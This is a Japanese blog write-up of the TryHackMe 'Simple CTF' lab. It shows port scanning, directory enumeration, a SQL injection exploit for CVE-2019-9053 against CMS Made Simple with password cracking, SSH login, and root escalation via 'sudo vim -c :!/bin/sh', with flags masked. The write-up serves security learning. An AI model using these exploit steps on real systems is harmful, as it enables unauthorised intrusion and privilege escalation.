はまやんはまやんはまやん

hamayanhamayan's blog

Simple CTF 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210513185042p:plain

一部を■で隠しています。

第一段階:侵入

$ export IP=[YourIP]
$ ping $IP

まずは、ポートスキャンしよう。

$ nmap -sC -sV $IP
21/tcp   open  ftp     vsftpd 3.0.3
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

なるほど。httpにまずはつないでみよう。

httpで散策する

f:id:hamayanhamayan:20210513193153p:plain

apache2のデフォルトページですね…gobusterをしておく。

$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt 
http://10.10.4.119/index.html (Status: 200)
http://10.10.4.119/robots.txt (Status: 200)
http://10.10.4.119/simple (Status: 301)

一際目立つ/simpleにアクセスすると、CMS Made Simple version 2.2.8が動いている。
TryHackMeの問題でCVEが聞かれているので、これにCVEが無いか探す。
CMS Made Simple version 2.2.8 cveで探すと、一番上にPoCと共に出てくる。
CMS Made Simple < 2.2.10 - SQL Injection - PHP webapps Exploit
CVEをsubmitしてこのCVEであるかを確かめておこう。

CVE-2019-9053

exploitコードが与えられているのでexploit.pyとして保存して動かそう。
ただ、微妙に安定しないので、中身を軽く見るとTime-based Blind SQLiしてるので、TIMEを5くらいに増やして実行する。

$ python2 exploit.py -u http://$IP/simple -c -w /usr/share/dirb/wordlists/rockyou.txt
[+] Salt for password found: ■■■■■■■■■■■
[+] Username found: ■■■■■■■
[+] Email found: admin@admin.com
[+] Password found: ■■■■■■■■■■■■■■■■■■
[+] Password cracked: ■■■■■■■

ok. 次の設問をあてずっぽうするとsshが通るので、sshでログインしてみる。

$ ls -la
total 36
drwxr-x--- 3 mitch mitch 4096 aug 19  2019 .
drwxr-xr-x 4 root  root  4096 aug 17  2019 ..
-rw------- 1 mitch mitch  178 aug 17  2019 .bash_history
-rw-r--r-- 1 mitch mitch  220 sep  1  2015 .bash_logout
-rw-r--r-- 1 mitch mitch 3771 sep  1  2015 .bashrc
drwx------ 2 mitch mitch 4096 aug 19  2019 .cache
-rw-r--r-- 1 mitch mitch  655 mai 16  2017 .profile
-rw-rw-r-- 1 mitch mitch   19 aug 17  2019 user.txt
-rw------- 1 mitch mitch  515 aug 17  2019 .viminfo
$ cat user.txt
■■■■■■■■■■

第二段階:権限昇格へ

とりあえず、他のユーザーが聞かれるので、探しておこう。

$ ls /home
mitch  sunbath

権限昇格のためにsudoチェックしてみよう。

$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

vimでできそうだ。 vim | GTFOBins

$ sudo vim -c ':!/bin/sh'
# id            
uid=0(root) gid=0(root) groups=0(root)
# ls /
bin  boot  cdrom  dev  etc  home  initrd.img  initrd.img.old  lib  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old
# ls /root
root.txt
# cat /root/root.txt
■■■■■■■■■■■■■■■■■■■■

これでクリア。